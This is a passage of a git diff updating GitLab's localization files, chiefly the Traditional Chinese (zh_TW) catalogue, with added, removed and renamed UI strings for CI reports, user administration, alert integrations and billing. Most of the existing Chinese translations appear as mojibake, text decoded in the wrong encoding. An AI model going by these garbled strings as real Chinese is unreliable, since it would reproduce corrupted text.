-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31301,6 +32010,12 @@ msgstr[0] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31319,9 +32034,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31337,9 +32049,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31377,9 +32086,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31466,6 +32172,9 @@ msgstr ""
msgid "for this project"
msgstr "為此專案"
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31491,6 +32200,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31512,7 +32224,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32039,6 +32751,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr "ç„¡"
@@ -32066,6 +32781,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32078,6 +32796,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32151,6 +32872,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32203,6 +32927,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32215,9 +32942,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32266,9 +32999,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32299,10 +33029,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32311,6 +33041,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32320,6 +33053,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32392,6 +33128,10 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/zh_TW/gitlab.po b/locale/zh_TW/gitlab.po
index 4b083af584e..35de6808d39 100644
--- a/locale/zh_TW/gitlab.po
+++ b/locale/zh_TW/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: zh-TW\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:45\n"
+"PO-Revision-Date: 2020-12-03 08:13\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -79,6 +79,10 @@ msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -146,14 +150,14 @@ msgid "%d day"
msgid_plural "%d days"
msgstr[0] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
-msgstr[0] ""
-
msgid "%d error"
msgid_plural "%d errors"
msgstr[0] ""
+msgid "%d error found:"
+msgid_plural "%d errors found:"
+msgstr[0] ""
+
msgid "%d exporter"
msgid_plural "%d exporters"
msgstr[0] "%d 個匯出工具"
@@ -296,24 +300,15 @@ msgstr "%{actionText} 和 %{openOrClose} %{noteable}"
msgid "%{address} is an invalid IP address range"
msgstr ""
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
msgid "%{authorsName}'s thread"
msgstr "%{authorsName} 的話題"
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
-msgstr ""
-
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
msgstr ""
@@ -385,6 +380,9 @@ msgstr "%{count} 個相關的 %{pluralized_subject}:%{links}"
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -457,21 +455,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr "%{issuableType} 將被刪除ï¼æ‚¨ç¢ºå®šå—Žï¼Ÿ"
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -487,9 +491,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -505,13 +506,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -544,9 +545,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr "%{listToShow},還有 %{awardsListLength} 個。"
-msgid "%{loadingIcon} Started"
-msgstr "%{loadingIcon} 已開始"
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -645,31 +643,13 @@ msgstr[0] "%{releases} 個發布版"
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -725,6 +705,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] "%{strong_start}%{branch_count}%{strong_end} 個分支"
@@ -817,6 +800,9 @@ msgstr "%{userName} 的大頭貼"
msgid "%{user_name} profile page"
msgstr "%{user_name} 的個人資料"
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr "%{username} 的大頭貼"
@@ -835,12 +821,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1415,9 +1395,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr "啟用"
-
msgid "Activate Service Desk"
msgstr "啟用æœå‹™å°"
@@ -1764,9 +1741,15 @@ msgstr "管ç†å“¡æ¨¡å¼å·²å•Ÿç”¨"
msgid "Admin notes"
msgstr "管ç†å“¡å‚™è¨»"
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -1989,6 +1972,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr "æ´»èº"
@@ -2037,18 +2029,21 @@ msgstr "å·²å°éŽ–"
msgid "AdminUsers|Blocking user has the following effects:"
msgstr "å°éŽ–使用者具有以下效果:"
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr "無法解除å°éŽ– LDAP å°éŽ–的使用者"
msgid "AdminUsers|Deactivate"
msgstr "å‡çµ"
-msgid "AdminUsers|Deactivate User %{username}?"
-msgstr "å‡çµ %{username} 使用者?"
-
msgid "AdminUsers|Deactivate user"
msgstr "å‡çµä½¿ç”¨è€…"
+msgid "AdminUsers|Deactivate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Deactivated"
msgstr "å·²å‡çµ"
@@ -2073,6 +2068,9 @@ msgstr "外部"
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2109,6 +2107,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr "還原使用者存å–帳戶的權é™ï¼ŒåŒ…括網é ã€Git å’Œ API。"
@@ -2148,6 +2155,15 @@ msgstr "請輸入 %{projectName} 來確èª"
msgid "AdminUsers|To confirm, type %{username}"
msgstr "請輸入 %{username} 來確èª"
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr "ä½¿ç”¨è€…å°‡ç„¡æ³•å­˜å– git 版本庫"
@@ -2157,6 +2173,9 @@ msgstr "使用者將無法登入"
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr "沒有專案"
@@ -2166,6 +2185,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2178,7 +2206,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2389,6 +2423,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2398,9 +2450,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2428,6 +2489,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2440,7 +2507,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2449,27 +2522,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2479,9 +2576,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2491,6 +2585,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2503,6 +2609,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr "警示"
@@ -2518,16 +2627,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2632,6 +2762,9 @@ msgstr "å…許所有人存å–æµæ°´ç·šå’Œä½œæ¥­è©³ç´°è³‡è¨Šï¼ŒåŒ…括輸出日誌
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr "å…許在 Asciidoc 文件中繪製 PlantUML 圖。"
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr "å…許專案維護者設定版本庫é¡åƒç«™"
@@ -2749,9 +2882,6 @@ msgstr ""
msgid "An error has occurred"
msgstr "發生錯誤"
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2872,9 +3002,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr "抓å–æœå‹™å°ä½å€æ™‚發生錯誤。"
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr "抓å–看æ¿åˆ—表時發生錯誤。請å†è©¦ä¸€æ¬¡ã€‚"
@@ -2908,18 +3035,21 @@ msgstr "抓å–此分é æ™‚發生錯誤。"
msgid "An error occurred while generating a username. Please try again."
msgstr "產生使用者å稱時發生錯誤。請é‡è©¦ã€‚"
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr "å–å¾— %{branchId} 的檔案時發生錯誤"
msgid "An error occurred while getting projects"
msgstr "å–得專案時發生錯誤"
-msgid "An error occurred while importing project: %{details}"
-msgstr "匯入專案時發生錯誤:%{details}"
-
msgid "An error occurred while initializing path locks"
msgstr "åˆå§‹åŒ–路徑鎖時發生錯誤"
+msgid "An error occurred while loading a section of this page."
+msgstr ""
+
msgid "An error occurred while loading all the files."
msgstr "載入所有檔案時發生錯誤。"
@@ -2974,6 +3104,9 @@ msgstr "載入åˆä½µè«‹æ±‚的版本資料時發生錯誤。"
msgid "An error occurred while loading the merge request."
msgstr "載入åˆä½µè«‹æ±‚時發生錯誤。"
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr "載入æµæ°´ç·šä½œæ¥­æ™‚發生錯誤。"
@@ -3001,9 +3134,6 @@ msgstr "繪製廣播訊æ¯æ™‚發生錯誤"
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr "é‡æ–°æŽ’åºè­°é¡Œæ™‚發生錯誤。"
@@ -3034,6 +3164,9 @@ msgstr "訂閱通知時發生錯誤。"
msgid "An error occurred while triggering the job."
msgstr "觸發作業時發生錯誤。"
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr "嘗試執行此åˆä½µè«‹æ±‚çš„æ–°æµæ°´ç·šæ™‚發生錯誤。"
@@ -3052,6 +3185,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr "更新留言時發生錯誤"
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr "驗證群組路徑時發生錯誤"
@@ -3238,6 +3374,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3296,6 +3438,9 @@ msgid "ApprovalRuleSummary|%{count} approval required from %{membersCount}"
msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCount}"
msgstr[0] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3377,6 +3522,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3428,9 +3576,6 @@ msgstr "確定è¦åˆªé™¤æ­¤çœ‹æ¿å—Žï¼Ÿ"
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr "您確定è¦åˆªé™¤æ­¤è£ç½®å—Žï¼Ÿæ­¤å‹•ä½œç„¡æ³•å¾©åŽŸã€‚"
-msgid "Are you sure you want to delete this list?"
-msgstr "確定è¦åˆªé™¤æ­¤åˆ—表嗎?"
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr "確定è¦åˆªé™¤æ­¤æµæ°´ç·šæŽ’程嗎?"
@@ -3480,6 +3625,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr "您確定è¦ç§»é™¤é€™å€‹èº«ä»½è­˜åˆ¥å—Žï¼Ÿ"
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr "您確定è¦é‡è¨­è¨»å†Šæ¬Šæ–嗎?"
@@ -3752,6 +3900,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3872,6 +4026,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4160,12 +4317,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4190,6 +4353,10 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4241,6 +4408,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4499,9 +4669,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4529,6 +4696,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4625,6 +4795,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4652,6 +4825,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
